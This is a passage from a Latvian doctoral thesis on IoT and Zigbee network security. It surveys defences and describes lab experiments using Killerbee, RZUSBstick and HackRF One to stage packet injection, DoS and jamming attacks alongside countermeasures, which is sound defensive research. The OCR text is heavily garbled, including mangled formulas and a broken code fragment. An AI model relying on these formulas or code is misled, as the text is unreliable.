informacijas, partverSana, ka ari launpratigas programmatiiras ievietoSana loT tikla, ir
uzbrukuma veids, lai ieglitu kontroli par visu ekosistému vai vispar traucétu tas normalu
darbibu [96-97].

Datu SifréSanas triikums. Dazas 10T ierices nosiita datus nesifréta veida, padarot tos
neaizsargatus pret partversanu un manipulacijam. Sada prakse nopietni apdraud datu integritati

un konfidencialitati. Uzbrukuma veids “pake$u uzraugs” (anglu val. packet sniffing) ir

60



situacija, kad uzbrucgji izmanto neSifrétas datu paketes, lai ieglitu konfidencialu informaciju
vai parpemt kontroli. Manipulé$ana ar datiem var maldinat sistémas vai izraisit klidas to
darbiba [98-99].

Aizsardzibas triikums lietotaja slani. l0T ierices nesp&j nodrosinat pietiekamu drosibu
lietojumprogrammu Itmeni, kas padara tas viegli ievainojamas dazadu kiberuzbrukumu
gadijuma. Uzbrucgji var izmantot neaizsargatas lietotnes, lai ievaditu kaitigu kodu, kas
darbojas 10T ierices. Zigbee protokola uzbrucgjs siita viltus paketes, lai manipulétu ar Zigbee
iericém, un to sauc par Zigbee spoofing. Kaitiga koda vai kaitigas manipulacijas rezultata

ierices darbiba var pilniba nonakt uzbrucgja kontrolé [98-99].

Aizsardzibas mehanismi un drosibas stratégijas lietu interneta (10T) tiklos

Lai aizsargatu 0T tiklus, datu un ieriCu aizsardzibai jaizmanto dazadas metodes un
mehanismus. Vairaki no tiem ir pazistami arT cita veida tiklos, pieméram, gan bezvadu LAN,
gan vadu LAN. To ir pietiekami daudz, lai katrs no tiem varétu nodro$inat interneta tikla un 10T
tikla drostbu.

Sifreésana ir butisks kiberdrogibas elements 10T tiklos, nodroginot datu aizsardzibu, kas
tiek parraiditi starp ieric€m, lietotném un serveriem. 0T ierices biezi darbojas ierobezotu
resursu apstaklos un ir paklautas dazadiem dro§ibas draudiem, tap&c pareizi ieviesti
kriptografiskie protokoli ir neaizstajami, lai nov@rstu datu nopliides, partverSanu un
nesankcionétu piekluvi.

Viens no visplasak izmantotajiem protokoliem dro$u sakaru kanala nodro$ina$anai ir drosa
transporta slanis / drosligzdu slanis (anglu val. Transport Layer Security / Secure Sockets
Layer). Sie protokoli darbojas transporta Iiment, ifi&jot datus, kas tiek parsatiti starp iericem
un serveriem. TLS/SSL izmanto kombinétu pieeju — asimetriskas SifréSanas algoritmus
savienojuma izveides procesa, lai drosi parsutitu SifréSanas atsl€gas, un simetriskas §ifré€Sanas
algoritmus, lai nodrofinatu turpmako datu parraides aizsardzibu. ST metode ievérojami
samazina datu partver$anas un sagrozisanas riskus [100-101].

Vel viens bitisks SifréSanas risinajums ir uzlabotais SifréSanas standarts (anglu val.
Advanced Encryption Standard; AES). Tas ir simetrisks bloku $ifréSanas algoritms, kas tick
plasi izmantots lietojumprogrammu Itmeni datu aizsardzibai. AES nodroSina augstu $ifréSanas
atrumu un uzticamu dro§ibu, padarot to piemérotu izmantoSanai ari ieric€s ar ierobeZotam

skaitlo$anas iesp&jam. ST algoritma darbibas pamati ir datu sadaliSana blokos ar noteiktu
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izmeru un to atkartota apstrade vairakos SifréSanas posmos. Tas padara AES 1pasi izturigu pret
dazadiem uzbrukumu veidiem, tostarp spéka uzbrukumiem [102-103].

Atslégu droai parsiitiSanai un autentifikacijai 10T tiklos tiek izmantots Rivesta—Samira—
Adlemana (anglu val. Rivest-Shamir-Adleman) algoritms. Sis asimetriskais algoritms ir balstits
sarezgitiba, kas saistita ar lielu skaitlu sadaliSanu pirmskaitlos. RSA lauj uzticami parsatit
simetriskas SifréSanas atslégas starp komunikacijas pusém, nodrosinot augstu drosibas Iimeni
pat gadijumos, kad dati tiek partverti. Sis algoritms ir ipasi svarigs drosa savienojuma sakotngja
izveidg, jo tas garant€, ka visas iesaistitas puses ir autentificétas un uzticamas [103].

Autentifikacija ir biitisks dro§ibas elements 10T tiklos, jo ta nodroSina ieri¢u un lietotaju
autentiskuma parbaudi, kas savienoti ar fiklu. Sim procesam ir kritiska nozime loT
infrastruktiiras aizsardziba pret nesankcion&tu piekluvi, samazinot datu kompromit€Sanas,
informacijas noplides un launpratigas resursu izmantosanas riskus.

Viens no izplatitakajiem autentifikacijas panémieniem l0T videé ir digitalo X.509
sertifikatu izmantoSana. Sie sertifikati nodrogina augstu uzticamibas Iimeni, jo tos izsniedz un
parbauda akreditétas sertifikacijas iestades (anglu val. Certification Authorities). X.509
sertifikati lauj droSi identificét ierices un serverus, sniedzot garantiju, ka komunikacija
iesaistitas puses ir patiesi tas, par ko uzdodas. Sada sertifikatu izmanto§ana minimize
uzbrukumu riskus, kas saistiti ar iericu vai serveru viltoSanu, un veido droSas savstarp&jas
autentifikacijas pamatu tikla [104].

loT sistémas plasi tiek izmantoti ari OAuth un OpenlD Connect protokoli, ipasi
makonpakalpojumos un lietotngs. Sie protokoli izmanto Zetonus, lai nodroinatu lietotajiem
piekluvi resursiem, vienlaikus saglabajot augstu dro§ibas un értibas limeni. OAuth un OpenlD
Connect lauj detalizeti kontrolét piekluvi resursiem, balstoties lietotaju lomas, kas ir pasi
svarigi sarezgitas 10T tiklu struktiiras ar daudziem savienotiem ieri¢u un lietotaju punktiem.
Sada pieeja stiprina sistémas aizsardzibu, jo Zetoni ir Tslaicigi un apdraudéjumu gadijuma tos
var atri atsaukt. Sie protokoli biezi tiek integréti ar 10T platformam, pieméram, Mosquitto,
Chirpstack un Grafana, kas atvieglo autentifikacijas un piekluves parvaldibu [105-106].

Divfaktoru autentifikacija (anglu val. Two-Factor Authentication) ir vél viens bitisks
mehanisms 10T drosibas konteksta, kas pastiprina aizsardzibu, pievienojot papildu verifikacijas
Iimeni. Atskiriba no tradicionalas autentifikacijas, kas balstita tikai paroles, divfaktoru
autentifikacija pieprasa izmantot divus neatkarigus faktorus — zinaSanu (piem&ram, paroli) un
Tpasumtiesibas (pieméram, vienreiz€ju kodu, kas nosiitits uz mobilo ierici, vai biometriskos
datus). Tas ievérojami paaugstina aizsardzibas Iimeni, jo pat tad, ja viens no faktoriem tiek
kompromit@ts, uzbrucgjam biis griiti piekldit sisteémai. Divfaktoru autentifikacija ir Ipasi
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nozimiga, parvaldot kritiski svarigas 10T ierices, pieméram, medicinisko aprikojumu,
viedmajas sistémas vai ripnieciskos kontrolierus [107].

Piekluves kontrole ir butisks drosibas elements I0T tiklos, jo ta lauj ierobezot un parvaldit
piekluvi tikla resursiem, pasargajot tos no nesankcionétas izmantoSanas. Pienacigi organizeta
piekluves kontrole noveér§ nesankcionétas darbibas ar datiem un iericém, tad&jadi samazinot
informacijas nopludes, destruktivu uzbrukumu un konfidencialitates parkapumu risku.

Viens no izplatitakajiem piekluves kontroles veidiem ir lomu parvaldiba balstita piekluves
kontrole (anglu val. Role-Based Access Control; RBAC). Saja model lietotajiem un iericem
tiek pieskirtas lomas, kas nosaka to tiesibas un privilégijas sisttma. Lomas tiek defingtas,
balstoties organizatoriskajas funkcijas vai uzdevumos, nevis individualajos lietotdjos, kas
vienkarso piekluves parvaldibu plaSos tiklos ar daudziem lietotajiem un iericém. Piem&ram,
vienai lomai var tikt pieSkirtas tiesibas parvaldit apgaismojuma sistému, savukart cita loma
nodro$ina piekluvi kritiskam infrastruktGram, pieméram, apsildiSanai, ventilacijai un gaisa
kondicion&S$anas (anglu val. Heating, Ventiling and Air-Conditioning, HVAC) sistemu
kontrolieriem. Sada pieeja nodrogina centralizétu parvaldibu un mazina klidu risku, kas varétu
rasties, manuali pieskirot tiesibas [108].

Atribiitos balstita piekluves kontrole (anglu val. Attribute-Based Access Control; ABAC)
ir elastigaka piekluves kontroles metode, kas balstas lietotaju, ieri¢u un resursu atribiitos. Sie
atribiti var ietvert tadus parametrus ka atraSanas vieta, piekluves laiks, ierices tips vai tas
pasreizgjais statuss. Pieméram, piekluve konkrétam resursam var tikt atlauta tikai darba laika
un tikai iericém, kas atrodas definéta tikla teritorija. ST pieeja ir Tpasi efektiva dinamiskas loT
vidgs, kur janem véra lietojuma konteksts. ABAC lauj ieviest detaliz&tus piekluves noteikumus,
kas pielagojas mainigajiem apstakliem, vienlaikus saglabajot augstu drosibas limeni [109].

Piekluves kontroles saraksti (anglu val. Access Control Lists; ACLS) ir vél viena plasi
izmantota piekluves parvaldibas metode. ACL ir tabulas, kuras noraditas lietotaju un ieri€u
piekluves tiesibas tikla resursiem. Katrs ieraksts ACL nosaka, kadas darbibas (piemé&ram,
lasiSana, rakstiSana vai izpilde) ir atlautas konkrétam lietotajam, iericei vai grupai. Piem@ram,
ACL var atlaut sensoram parraidit datus uz serveri, bet aizliegt tieSu datu parsttiSanu citam
tikla iericem. ACL izmantoSana nodroSina vienkarSu konfiguraciju un skaidru piekluves
parvaldibu, tomér tas me&rogosana lielos tiklos var radit izaicinajumus [110].

Uzbrukumu atklasanai l0T tiklos ir biitisku nozime dro§ibas nodro§inasana, jo ta lauj
laikus identificét potencialos apdraudéjumus un reagét uz tiem, pirms tie rada butisku
kaitgjumu. Tas ir ipasi svarigi 10T vid€, kur liels savienoto ieri€u skaits rada plaSu
ievainojamibu spektru un paver jaunas iesp&jas launpratigam darbibam. Lai risinatu Sos
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izaicindjumus, tiek izmantotas specializétas tehnologijas un metodes, kas analizg tikla trafiku,
iericu darbibu un notikumus tikla.

IelauSanas noteikSanas sistémas (IDS) ir butisks riks aizdomigu darbibu un uzbrukumu
identifice3anai. Sada veida sistémas var biit programmatiiras lietojumprogrammas vai
aparatiiras komponenti, kas ir integréti tikla infrastruktiira. IDS noverte tikla trafiku, sist€mas
notikumus un zurnalus, lai noteiktu draudus, izmantojot noteikumus vai Tpasus algoritmos. IDS
darbiba balstas divas galvenajas metodés — digitalaja parakstd un anomalijas noteik$ana.
Digitalaja paraksta balstitas sistémas izmanto zinamu uzbrukuma datubazes, kas lauj efektivi
atpazit iepriek$ identificétos draudus, tacu tas ir mazak spé&jigas atklat jaunus uzbrukumus
[111].

A1 otrs veids — anomaliju noteikSanas sistémas — analizé tikla un iericu veiktspgjas
raditajus, lai noteiktu novirzes no normam tikla. Lai gan $1 metode var atklat jaunus draudu
veidos, tai ir nepiecieSama riipiga un dzila konfiguracijas maina vai parbiive, lai samazinatu
viltus sadursmes vai pakesu iesp&jamibu.

Ielausanas novérSanas sistémas (IPS) ir uzlabota IDS versija, jo $T sisttma ne tikai
identificé draudus, bet arT aktivi var tos pilniba vai dalgji bloket. IPS analize trafiku tikla reala
laika, filtr§jot visas paketes, var arTl noverst launpratigas paketes vai blok&t darbibas, kas var
izraisit uzbrukumu. Sada veida funkcionalitate padara IPS par bitisku 10T tiklu aizsardzibas
elementu, jo ta sp&j noverst draudus, pirms tie sasniedz kritiski svarigas ierices vai datus. IPS
ir ipasi efektivas, nover§ot DoS vai DD0S uzbrukumus, launprogrammatiiras izplatiSanos un
citus tikla apdraud@jumu veidus [111-112].

Misdienas uzbrukumu atklaSanu un noverSanu veicina ma$inmaciSanas (anglu val.
Machine Learning) un maksliga intelekta (anglu val. Artificial Intelligence) izmanto$ana.
Izmantotas tehnologijas spgj analizét lielu datu apjomu, ko generé 10T ierices, ka ari to, kas
notiek tikla. Tas sp&j noteikt arf sarezgitus modelus, kas var liecinat par draudu esamibu. ML
algoritmi var tikt apmaciti, izmantojot tiklu trafika darbibu un uzbrukumu tipus, lai identificétu
gan zinamus, gan jaunus uzbrukumus. Piem&ram, ML klasifikacijas algoritmi, analizgjot
trafiku, var atskirt legalu un aizdomigu datu plismu, savukart prognozé$anas modelis var
noteikt potencialos riskus, balstoties aktualaja uzvedibu. Al lauj izstradat adaptivas sist€mas,
kas automatiski pielagojas tikla un iericu darbibas izmainam, samazinot viltus trauksmes
gadijumus un potencialo draudu un uzbrukumu skaitu [112].

loT tiklu droSiba balstita daudzslanu pieeja, kas apvieno piekluves kontroles,
autentifikacijas, $ifréSanas algoritmu un uzbrukumu atklaSanas/novérSanas mehanismus.

Piekluves kontrole precizi regulé resursu piekluves tiesibas, samazinot nesankcion&tas
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piekluves riskus. Autentifikacijas metodes garant® droSu lietotaju un iericu identitates
parbaudi, savukart §ifréSanas algoritmu lictoSana nodro$ina datu integritati, aizsargajot tos no
nesankcionétam manipulacijam tikla. IDS un IPS, ka art ML un Al tehnologijas paplasina 10T
tiklu drosibas virzienus, laujot savlaicigi identificét un noveérst draudus, tostarp gan jaunus, gan
zinamus uzbrukumu veidus. Sadu risindjumu lietosana ir efektiva 10T infrastruktiira un
nodroSina gan reaktivu aizsardzibu, gan uzlabo tikla noturibu pret musdienigakiem

kiberdraudiem.

Praktiskas uzbrukuma un aizsardzibas metodes |EEE 802.15.4 tiklu
drosibas konteksta

Lai pétitu IEEE 802.15.4 standarta signala stiprumu un analiz€tu nosititas/sanemtas
Zigbee tiklu paketes, aizstavot promocijas darba otro t€zi, tika izmantots speciala pakeSu
uzrauga CC2531 modulis ar specializétu programmaparatiiru Killerbee. Ka iepriek§ minéts,
Killerbee ir riks, kas paredzéts bezvadu tiklu, kas izmanto IEEE 802.15.4 standartu, drosibas
pétisanai. Tas palidz pétnieckam un droSibas specialistiem identificét ievainojamibas un
parbaudit aizsardzibas mehanismus. Killerbee galvenas funkcijas — pake$u uztverSana, kas
palidz uztvert un analizét IEEE 802.15.4 trafiku. Ir zinams, ka Killerbee programmatiira spgj
veikt tiklu uzbrukumus, pieméram, atkartojuma uzbrukumus, parslodzes uzbrukumus un
pakesSu injekcijas. Izmantojot Killerbee pakeSu uztverSanas mehanismu, autors konfigurgja
pakeSu monitorésanas moduli CC2531 ar speciali sagatavotu Killerbee programmaparatiru,
kas spgj uztvert paketes IEEE 802.15.4 tikla. Tika izstradata ari palaiSanas programma tikla
trafika novérosanai, un papildus tika ieviesta iesp&a mérit RSSI, jo Killerbee moduli péc
noklus&juma §1 funkcija nebija pieejama. RSSI dati tika iegtiti Python programmésanas vidg,

pielagojot mérfjumus atbilstosi izmantota uzbrukuma veidam [61-62].

= time. "]
while time. () - start time < duration:
try:
packet = kb. ()
if packet:
rssi = packst. ("rssi", None)
if rssi is None:
logging. ("Nav RSSI vértibas, izlaist.™)
continue

2.2. att. RSSI vértibas apstrades paketes piemérs no Killerbee.
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ST koda dala implements IEEE 802.15.4 RSSI vértibu ieguvi, izmantojot Killerbee
bibliotéku. Paketém, kuram RSSI vértiba nav pieejama, tick izveidots bridinajums, un tas netiek
apstradatas talak. Sada pieeja ir noderiga bezvadu tiklu analizg, Tpasi signala kvalitates
novertesana un traucgjumu noteiksana.

Katrai situacijai tika uzrakstitas atseviskas palaiSanas programmas, kas identificé konkr&tu
uzbrukumu veidu ar CC2531 pake$u uzraudzibas elementu un RZUSBSTICK uzbrukuma
elementu.

Promaocijas darba izstrades gaita pétiti dazada veida uzbrukumi.

e Pakesu injekcijas — promocijas darba izstrades gaita izveidotas papildu uzbrukumu
paketes, kas inicializetas ka parastas un likumigas darbibas paketes ar zemakam RSSI
veértibam, kas raksturigas vajakiem vai attalak esoSiem avotiem, lai tas vizuali un
funkcionali atbilstu tikla darbibas normam, vienlaikus parbaudot tikla sp&ju atpazit un
apstradat §adu trafiku. Sada metode lauj identificét, vai tikls spgj efektivi noteikt
novirzes, pieméram, anomalijas RSSI vertibas, kas spgj piesarnot trafiku vai padarit to
par nedarbspg&jigu.

e DoS uzbrukums — promocijas darba izstrades gaita generétas papildu uzbrukuma
paketes, kuru mérkis ir radit tikla parslodzi, izmantojot augstu pake$u nosttisanas
biezumu, kas parsniedz IEEE 802.15.4 tikla normalas darbibas kapacitati. Sis paketes
inicializétas ar specifiskam paketes galveném (anglu val. header) un noteiktiem
parametriem, lai vizuali un funkcionali atbilstu tikla likumigajam darbibas raksturam,
vienlaikus parbaudot tikla sp&ju atpazit un apstradat $adu uzbrukuma trafiku.

e Sakaru signala traucésana (anglu val. Jamming) uzbrukums — promocijas darba
izstrades gaita veikti uzbrukumi, ievie$ot tikla apzinatus signala trauc€jumus, kas bloké
IEEE 802.15.4 savstarp&jo komunikaciju. Traucgjumi simuléti, analizgjot tikla reakciju
uz ilgstoSiem periodiem bez uztvertiem datiem, ka arT signala stipruma ITmena (RSSI)

peksnam izmainam, kas liecina par iesp&amo uzbrukumu.

Papildus tam promocijas darba lietotas kombin&to uzbrukuma pretpasakumu ierices. Vel
viens CC2531 uzrauga paketes modulis, kas ir pieslégts Kali Linux darbstacijai, lai skatitu
pienemtas paketes no Zigbee ierices un ari uzbrukuma paketes no RZUSBSTICK. Kopa ar
CC2531 moduli darbojas savstarpgjais frekvencu atpazisanas modulis HackRF One, Kkas ir
iestatits, lai stradatu Zigbee protokola 15. kanala (2,425 GHz frekvencu josla) un blokétu
uzbrukuma paketes, izmantojot adaptivo trauc€Sanas pretpasakumu konkrétam paketem

katram uzbrukuma veidam.
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Secinajumi
Saja nodala autors apskatijis dazadus uzbrukuma veidus, kas var ietekmét ari IEEE
802.15.4 darbibu. Secinats, ka autors izmanto dazadus modulus, lai uzraudzitu paketes IEEE
802.15.4 tikla un arT simul& uzbrukumu veidus, izmantojot RZUSBSTICK. Kopa ar uzbrukuma
iericém strada pretpasakuma moduli, kas, pirmkart, uzrauga nelabvéligas paketes, otrkart, kad
ir registréta nelabvéliga pakete, sakas adaptiva trauc€Sana pret konkrétam nelabvéligam
paketém. Tika izstradatas un izméginatas dazadas palaiSanas programmas, kas simul€ definétos

uzbrukumos un ari pretpasakumu darbibas.

HIBRIDTIKLU UZBRUKUMA VEIDA SIGNALA STIPRUMA
UN TIKLA CAURLAIDSPEJAS NOVERTEJUMS

Eksperimentalo datu ieguves metodologija hibridtikla drosibas analizei

Signala stipruma un tikla caurlaidsp&ju noveértéjumu darbibas un uzbrukuma laika autors
izmantoja dazadas tehnologijas. Eksperimentalajos m&rfjumos izmantotas aparatiiras detalizéta
specifikacija un galveno lietojumu dati atkariba no definétajiem uzdevumiem apkopoti
6. tabula.

6. tabula

Bezvadu sakaru ieri¢u (CC2531, RZUSBstick, HackRF One) tehnisko parametru un lietojuma
salidzinajums [63, 83, 85]

Parametrs CC2531 RZUSBstick HackRF One
Frekvencu josla 2,4 GHz 2,4 GHz 1 MHz-6 GHz
Lietojums Zighee (IEEE Zighee (IEEE Universalais SDR

802.15.4) 802.15.4)

Signala parraide

Ierobezota Zigbee
tikla

IerobezZota Zighee

tiklam

Wi-Fi, Zigbee,
Bluetooth, GSM utt.

Wireshark

Wireshark

Programmg&jamiba lerobezota Dalgji ierobezota Pilnigi ierobezota
Joslas platums Saurjoslas Saurjoslas Lidz 20 MHz

Jaudas parraide Lidz +5 dBm Lidz +3 dBm —10 dBm [idz +10 dBm
Programmas Killerbee, Python, | Killerbee, Python, | GNURadio, SDR#,

URH, Python
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Nemot véra 6. tabulas datus, var secinat, ka CC2531 un RZUSBstick modulim ir $auras
lictoSanas iesp€jas (atkariba no uzdevuma), savukart HackRF One var lietot ne tikai Zigbee
tikla, bet tam ir arT plasas lietoSanas iesp&jas un arT vairak programmu, salidzinot ar CC2531
un RZUSBstick moduliem.

Zigbee tikla caurlaidsp€jas un darbibas efektivitates novérteéjums

Promaocijas darba autors secinajis, ka tikla caurlaidsp&jas un signala stipruma identifikatoru
mérfjumi ir atkarigi no tikla darbibas stavokla. Turklat tika konstatéts, ka RSSI vértibu var
noteikt, izmantojot KillerBee Python bibliotekas funkcijas, savukart tikla caurlaidspgjas
mérfjumus ar $o biblioteku iegiit nav iespgjams. Pamatojoties uz Senona teorému par
maksimalo caurlaidsp&ju troksnaina kanala, tika izveidots empiriskais caurlaidsp&jas modelis,
kas pielagots Zigbee (IEEE 802.15.4) tikla specifikai. Pielago$ana tika veikta, nemot véra $adus
faktorus:

e ierobezoto kanala joslas platumu (tipiski 250 kbit/s 2,4 GHz josla);

e augsto traucgjumu ITmeni (interference no Wi-Fi un citiem 2,4 GHz signaliem);

e protokola pieskaitamas izmaksas (anglu val. overhead) datu kadros [113, 118].

Zigbee tikla caurlaidspgjas modelis tika aprékinats, izmantojot modificétu Senona jaudas

joslas platuma attiecibas formulu.
C = B(1+ SNR), (3.1)

kur C — maksimala caurlaidspgja (kbit/s); B —kanala joslas platums (Hz); SNR — signala/trok$na
attieciba [118].

Diemzel Zigbee tiklos pastav vairaki ierobezojumi, kas padara problematisku Senona
teorémas tieu lieto$anu. Senona teoréma nosaka, ka kanala caurlaidsp&ja teorétiski palielins,
pieaugot joslas platumam B un signala/trok$na attiecibai SNR. Tomér Zighee (IEEE 802.15.4
standarts) izmanto fiksgtu joslas platumu 2 MHz, tad€] kanala caurlaidsp&ju nevar palielinat,
paplasinot joslas platumu [74], [117].

Turklat, lai gan dazadas modulacijas metodes var efektivak izmantot pieejamo spektru,
Senona teoréma nenosaka modulacijas izvéli vai pielagosanu, bet tikai apraksta, ka
caurlaidsp&ja teorétiski mainas atkariba no kanala joslas platuma un SNR attiecibas. Tomér
Zigbee izmanto O-QPSK ar DSSS, kas ierobezo pieejamas modulacijas shémas un
caurlaidsp&ju. Pat tad, ja SNR palielinas, Zigbee neatbalsta dinamisku modulacijas pielago$anu,

ka to dara IEEE 802.11, tap&c datu parraides atrums I1dz ar signala kvalitati nepalielinas.

68



Zigbee tiklos izmanto ari CSMA-CA, un tas nozimg, ka ierices pirms datu nositisanas
gaida brivu parraides logu, kas samazina efektivo caurlaidsp&ju vairakiem mezgliem tikla un
arT palielina aizturi parraides méginajumiem. Ta¢u Zighee tiklos ierices bieZi darbojas miega
reZima, lai taupitu energiju, un ilgais gaidiSanas laiks starp pake$u nosttiSanu un sanemsanu
samazina efektivo caurlaidsp&ju. Wi-Fi un LTE var parraidit lielus datu apjomus nepartraukti,
savukart Zigbee tiklos tas nav iesp&jams, jo primarais aspekts ir energijas efektivitate, nevis
parraides atrums [74], [115-117].

Lai nomeéritu realo caurlaidsp&ju Zigbee tiklos, tika pienemts lémums izmantot empirisko
modeli. Zigbee tikla caurlaidsp&jas aprékins tiek veikts, izmantojot 3.2. formulu, kurd nemti

vera SNR un citi ietekm&josie faktori.
C = Crugorericar X (1 — OVERHEAD) X Pyyceess X Duty_Cycle, (3:2)

kur C — maksimala reala caurlaidspgja (kbit/s); CrheoremicaL — teorétiska Zigbee tikla
caurlaidspgja (250 kbit/s); OVERHEAD - pieskaitamas izmaksas (0,4 = 40 %); Psuccess — paketes
parraides veiksmes varbiitibas koeficients; Duty Cycle — kanala izmanto$anas koeficients [74,

115, 119].

3.2. formula izveidota, lai aprékinatu maksimalo redlo Zigbee tikla caurlaidsp&ju. Tomér
pastav vairaki faktori, kas ietekmé faktisko caurlaidspgju, ierobezojot to lidz maksimalajai
teorgtiskajai vertibai — 250 kbit/s. Pieskaitamas izmaksas (OVERHEAD) tiek aprékinatas, nemot
vera kanala papildu izmaksas. Petfjumos par Zigbee tikla veiktsp&ju ir konstatéts, ka vidgja

pieskaitamo izmaksu vértiba ir aptuveni 40 % (OVERHEAD = 0,4). Si vértiba ietver:

o fiziska slana (PHY) pieskaitamas izmaksas, kas veidojas atkariba no IEEE 802.15.4
paketes struktiiras un modulacijas rezima,;

e datu posma slana (MAC) pieskaitamas izmaksas, kas saistitas ar protokola kadru formatu
un piekluves mehanismiem;

e CSMA-CA kolizijas un retranslacijas — sakaru mezgliem ir jaizvairas no kolizijam,

atkartoti stitot paketes, ja tas nav apstiprinatas (ACK).

Sie faktori biitiski samazina faktiskas datu pliismas caurlaidsp&ju, salidzinot ar maksimalo

teorétisko robezu [115-116, 119].
SNR = RSSI — NOISE FLOOR, (3.3)

kur SNR — signala/trokspa attieciba (dB); RSSI — signala stipruma identifikators (dBm);
NOISE_FLOOR - trok$na limenis (dBm).
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Atskiriba no ideala gadijuma, kas pienemts Senona teoréma, autors veica signala/troksna
attiecibas (SNR) aprekinus, balstoties Zigbee tikla nomerita signala stipruma identifikatora
(RSSI) radijumos. Lai gan bieZi tick pienemts, ka zemakais trok$na Iimenis Zigbee tiklos ir
aptuveni —95 dBm, §1 vértiba nav fikséta un ir atkariga no vides faktoriem. Lai gan tipiskais
zemakais trok$na Iimenis CC2531 un RZUSBstick iericém ir aptuveni —100 dBm, reala vide §1
vertiba var bt augstaka traucgjumu dél. Petfjumos ir konstatéts, ka vidé ar Wi-Fi un citiem
2,4 GHz avotiem trok$na ltmenis var sasniegt pat —95 dBm, tapéc aprékinos izmantota $1
vertiba, lai precizak modelétu praktiskus scenarijus. Praktiska vide trok$na zemako limeni
nosaka apkart&jie traucjumi, frekvencu joslas lietojums un aparatiiras ierobeZojumi, un ta var
atSkirties atkariba no izmantota radio modula. Nemot véra ti, ka autoram pieejamas ierices
(piem&ram, CC2531) neuzrada tieSu trok$na zemako merfjumu, §1 vertiba tika pienemta,

balstoties ieprieks§ publicétajos petijumos [115, 119].

Bouccess = (0,1, (LO’ #jme) ), (3.4)

Kur Psuccess— paketes parraides veiksmes varbiitibas koeficients; SNR — signala/trok$na attieciba;

MAX_SNR — maksimala signala/troksna attieciba.

Duty Cycle = (0,1,(0,8-—"—)), (3.5.)

MAX_SNR
kur Duty_Cycle — kanala izmantoSanas koeficients; SNR — signala/trok$na attieciba; MAX_SNR
— maksimala signala/trok$na attieciba.

MAX_SNR vertibu promocijas darba autors izvélgjas 40 dB, jo ta balstita praktiskos
m&rTjumos un nem véra bezvadu Zigbee tiklu ierobezojumus. Sis parametrs ietekmé pakesu
parraides veiksmes varbutibas koeficienta un kanala izmantoSanas koeficientu aprékinus.
Reala prakse Zigbee strada 2,4 GHz frekvences josla, kur ir daudz traucgjumu, ko rada Wi-Fi

un Bluetooth sakari. Tomér 40 dB ir labs empiriskais skaitlis nakotnes mérijumiem [114-115].

Veiksmigas parraides varbiitibas koeficienta (Psuccess) interpretacija:

e jaSNR ir mazs, veiksmigas parraides varbiitiba ir 10 % (0,1), un tas nozimé, ka pat loti vajs$
signals var laut reiz€m parraidit datus;

e ja SNR sasniedz MAX_SNR, veiksmigas parraides varbiitiba sasniedz 100 %;

e ja SNR parsniedz MAX_SNR, varbitiba paliek 1,0 (100 %), jo vairs nav traucgjumu [114—
115, 119].
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Kanala izmantosanas koeficienta (Duty_Cycle) interpretacija:

e ja SNR ir mazs, kanala izmanto$ana ir ierobeZota lidz 10 % no kopgja laika;
e ja SNR sasniedz MAX_SNR, maksimala kanala izmantoSana ir 80 %;
e pat loti augsts SNR nevar palielinat kanala izmantosanu virs 80 %, jo CSMA-CA

protokols un tikla slodze rada ierobezojumus [114-115, 119].

Atkariba starp Psyccess Un Duty Cycle no SNR

1.0 f = Veiksmigas parraides varbtiba Psyccess
== Kanala noslodzes koeficients Duty Cycle
----- Maksimalais SNR = 40 dB

o
0
T

o
o
:

Funkcijas vértiba

o
IS
T

0.2
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SNR (dB)
3.1. att. Atkariba starp paketes parraides veiksmes varbiitibas un kanala izmantoSanas

koeficientiem signala/trokSnu attieciba.

Izmantojot (3.2.) — (3.5.) vienadojumus un nemot véra Zigbee tikla ierobezojumus, tika
secinats, ka praktiska caurlaidsp&ja idealos apstaklos neparsniedz 120 kbit/s. Lai gan Zighee
PHY slana teorétiskais maksimalais datu parraides atrums ir 250 kbit/s, realajos apstaklos $o

veértibu ierobezo vairaki faktori.

e Protokola pieskaitamas izmaksas (anglu val. overhead) — aptuveni 40 % no
faktiskas datu pliismas tiek izlietoti marSrut€Sanai, apstiprinajumiem (ACK) un kladu
labosanai.

e Duty Cycle ierobezojums — atkariba no regiona un liectojuma Zigbee ierices nevar
izmantot kanalu ar 100 % slodzi, tipiska maksimala izmanto$ana ir 80 %.

e CSMA-CA piekluves metode — palielina latentumu un var samazinat efektivo
caurlaidspgju, 1pasi tiklos ar lielu mezglu skaitu.

e Interference no citiem 2,4 GHz signaliem — Wi-Fi, Bluetooth un citi tikli izraisa

paaugstinatu kladu biezumu, kas rada retranslacijas un papildu latentumu.
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¢ Signala/troksna attieciba (SNR) un vides faktori —reala vidg $ie parametri mainas

atkarTba no attaluma, $k&rsliem un radio traucgjumiem.

Nemot veéra $os ierobezojumus, redla Zigbee tikla darbiba maksimala lietotajam
pieejama caurlaidspgja reti parsniedz 120 kbit/s. Sads atrums ir pietiekams
energoefektivai un uzticamai 10T un viedas majas iericu komunikacijai, kur parasti tiek

parsititi nelieli datu apjomi.

Zigbee tikla realas caurlaidspéjas analize

250 Vid&jais P_success: 1.00, Vidé&jais Duty_Cycle: 0.80 _|
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3.2. att. Zigbee tikla realas caurlaidsp&jas analizes grafiks.
Signala stipruma identifikatora (RSSI) analize un noveértéjums

Signala stipruma mérijumi notiek, izmantojot Killerbee programmattru, kurai jau ir
definéti RSSI mérfjumi. Lai model&tu realistiskus bezvadu tikla apstaklus, autors izvélas lietot
Nakagami sadalfjumu, ta izmanto$ana bezvadu tiklu simulacija un analizg ir batiska metode,
kas lauj precizi modelét realistiskus signala izplatiSanas apstaklus. Bezvadu signala parraidi
btiski ietekme dazadi izkliedes un atstaro$anas efekti, kas rodas, signalam mijiedarbojoties ar
apkartgjo vidi. Sie efekti izraisa sanemta signala stipruma (RSSI) svarstibas, ko ietekmé
daudzcelu izplatiba (anglu val. multipath propagation), $kérslu klatbttne un elektromagnétiska
vide. Sis sadalijums piedava vairakas prieksrocibas, salidzinot ar tradicionalajiem
metodologiskiem pienémumiem, tadiem ka Reilijas (anglu val. Reyleigh) un Raisa (anglu val.
Rician) sadalijumi, kas biezi tiek izmantoti Iidzigos scenarijos [120-121].

Lai analiz&tu signala stiprumu Zigbee tikla, tiek izmantota KillerBee programmatira, kas
nodros§ina RSSI mérjjumus. Pamatojoties uz eksperimentalajiem datiem, tika secinats, ka

Nakagami sadalfjums ir piem&rotakais modelis bezvadu tikla signala stipruma aprakstiSanai.
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Reilijas sadalijums

e Pienem, ka signala izplatiba notiek tikai diffizi, bez domingjosas tie$as redzamibas
Itnijas (NLOS, Non-Line-of-Sight).

